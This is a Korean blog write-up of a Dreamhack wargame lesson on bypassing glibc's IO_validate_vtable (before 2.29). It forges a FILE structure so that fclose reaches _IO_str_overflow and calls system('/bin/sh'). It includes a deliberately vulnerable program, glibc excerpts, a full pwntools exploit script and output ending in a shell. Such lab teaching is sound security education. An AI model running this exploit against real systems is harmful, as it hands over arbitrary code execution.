[Dreamhack] Exploit Tech: Bypass IO_validate_vtable

Sisyphus·2022년 8월 8일
0

Dreamhack - System Hacking

목록 보기
49/49

들어가며

실습 파일 다운로드

해당 기법은 glibc 2.29 버전 이상에서 더 이상 사용할 수 없기 때문에 드림핵 워게임 문제에서 제공하는 파일을 다운 받아 실습해야 합니다.

Bypass IO_validate_vtable

vtable 덮기 실습 예제

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie 

#include <stdio.h>
#include <unistd.h>

FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  init();

  fp = fopen("/dev/urandom", "r");

  printf("stdout: %p\n", stdout);
  printf("Data: ");

  read(0, fp, 300);

  fclose(fp);
}


라이브러리 분석

IO_validate_vtable

IO_validate_vtable 함수

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

vtable은 __libc_IO_vtables 섹션에 할당됩니다.
해당 섹션의 시작 주소와 끝 주소를 뺄셈하여 섹션의 크기를 알아내고, 호출하려는 vtable 주소가 섹션의 크기를 벗어나는 값이라면 _IO_vtable_check 함수를 호출해 에러를 발생시킵니다.

_IO_validate_vtable 함수가 생겨서 이전 버전과 같은 방법으로 공격할 수 없습니다. 해당 검사를 우회하기 위해서 __libc_IO_vtables 섹션에 존재하는 함수들 중 공격에 사용될 수 있는 함수를 찾아야 합니다.


_IO_str_overflow

_IO_str_overflow 함수는 __libc_IO_vtables 섹션에 존재하는 함수입니다. 해당 함수의 코드를 어떻게 공격에 이용할 수 있는지 살펴보겠습니다.

_IO_str_overflow 함수

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

공격 방법

함수 포인터 호출

코드 하단에서 아래와 같이 파일 포인터 내 _s._allocate_buffer라는 이름의 함수 포인터를 호출합니다.

	  new_buf
	    = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

인자 설정

함수 포인터의 인자로 new_size 변수를 전달합니다. 해당 변수는 아래 코드로 값이 결정됩니다.
코드를 살펴보면 _IO_FILE 구조체 변수인 _IO_buf_end와 _IO_buf_base 변수의 연산 값을 사용합니다. 따라서 파일 구조체를 조작할 수 있는 상황이면 new_size 변수를 조작할 수 있습니다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
   return EOF;

접근 조건

함수 포인터를 호출하기 위해서는 조건문을 통과해야 합니다. 아래 함수는 포인터를 호출하기 위한 조건문으로 _IO_FILE 구조체 변수인 _IO_write_ptr과 _IO_write_base 변수의 연산 값을 사용합니다. 비교구문에서 사용되는 flush_only 변수는 기본값이 0이며, 구문을 요약하면 pos >= _IO_blen(fp)로 추릴 수 있습니다.

따라서 _IO_write_base를 0으로 초기화하면 _IO_write_ptr 값이 곧 pos 변수의 값이 되므로 쉽게 해당 비교 구문을 통과하고 함수 포인터를 호출할 수 있습니다.

int flush_only = c == EOF;
_IO_size_t pos;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))


분석

보호 기법

❯ checksec bypass_valid_vtable
[*] '/root/tmp/bypass_valid_vtable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드 분석

  • "/dev/urandom" 파일을 엽니다.
  • stdout 포인터의 주소를 출력합니다.
  • 파일 포인터에 300 바이트 크기의 입력을 받습니다. 이를 통해 IO_FILE 구조체를 조작할 수 있습니다.


익스플로잇

익스플로잇 설계

IO_validate_vtable 함수의 검사를 우회하고, 쉘을 흭득해야 합니다. 이를 위해 _IO_str_overflow 함수 내부에서 인자를 설정하고 함수 포인터를 호출해야 합니다.

1. 라이브러리 주소 계산

__libc_IO_vtables 섹션을 포함한 파일 함수는 라이브러리에 맵핑되어 있기 때문에 stdout 포인터 주소를 통해 라이브러리 주소를 계산할 수 있습니다.

2. 인자 조작

vtable을 조작해 _IO_str_overflow 함수를 호출하기 전에 함수 포인터로 전달된 인자 new_size를 "/bin/sh" 문자열 주소로 조작해야 합니다.
new_size는 아래 수식으로 연산되기 때문에, _IO_buf_end를 "/bin/sh" 주소로, _IO_buf_base를 0으로 덮어쓰면 됩니다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

3. vtable 조작

vtable을 조작할 때 IO_validate_vtable 함수의 검사를 우회할 수 있는 주소로 덮어써야 합니다. 예제 코드를 실행하면
파일 구조체를 덮어쓸 수 있는 코드 ⇾ fclose() ⇾ _IO_FINISH()
순서로 코드가 실행되는데 _IO_FINISH 함수는 __libc_IO_vtables 섹션 내에 존재합니다.
fclose 함수가 _IO_FINISH 함수를 참조하기 전에 파일 구조체의 vtable 주소를 조작해 IO_str_overflow 함수를 참조하게 만든다면 내부에서 호출되는 함수를 조작해 함수 포인터를 system으로 조작해 쉘을 흭득할 수 있습니다.


라이브러리 주소 계산

io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8

IO_str_overflow 함수 주소 계산

fake_vtable = io_str_overflow - 16

IO_str_overflow 함수 주소 - 16을 저장

binsh = libc_base + next(libc.search("/bin/sh"))
system = libc_base + libc.symbols['system']

system 함수, "/bin/sh" 문자열 주소 계산

# Name: bypass_valid_table.py
from pwn import *

p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n"), 16)

libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']

p.interactive()

인자 조작

IO_str_overflow 함수 내부 함수 포인터 인자는 "/bin/sh"를 가리키도록 해야 합니다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
  • new_size = "/bin/sh" 주소
  • _IO_buf_base = 0

함수 포인터 호출 조건을 충족 시키기 위해 _IO_write_ptr 변수를 _IO_buf_end와 똑같이 설정

pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

# Name: bypass_valid_vtable.py
from pwn import *

p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n"), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
# io_str_overflow = libc.symbols['_IO_str_overflow']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']

payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end 
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock 
payload += p64(0x0)*9

p.sendline(payload)
p.interactive()

vtable 조작

vtable을 조작해 _IO_str_overflow 함수를 호출하고, 내부에서 호출하는 함수 포인터를 덮어쓰면 됩니다.

fclose는 vtable + 16 위치에 있는 주소를 호출합니다. 따라서 IO_str_overflow - 16 주소로 덮어쓴다면 fclose는 IO_str_overflow 함수를 호출하게 됩니다.

해당 함수 내에서 호출되는 함수 포인터는 fp->_s._allocate_buffer로, 이는 vtable 주소가 위치한 다음 8바이트를 의미합니다. 따라서 조작한 vtable 주소 뒤에 system 함수의 주소를 덮어쓰면 최종적으로 system("/bin/sh") 코드가 실행됩니다.

# Name: bypass_valid_vtable.py
from pwn import *

p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')

p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n"), 16)
libc_base = leak - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
# io_str_overflow = libc.symbols['_IO_str_overflow']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']

payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end 
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock 
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite 
payload += p64(system) # fp->_s._allocate_buffer RIP

p.sendline(payload)
p.interactive()
❯ python3 exploit.py
[+] Starting local process './bypass_valid_vtable': pid 5349
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/tmp/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/tmp/bypass_valid_vtable'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
Data: $ ls
Dockerfile         bypass_valid_vtable.c  flag       run.sh
bypass_valid_vtable  exploit.py            libc.so.6

0개의 댓글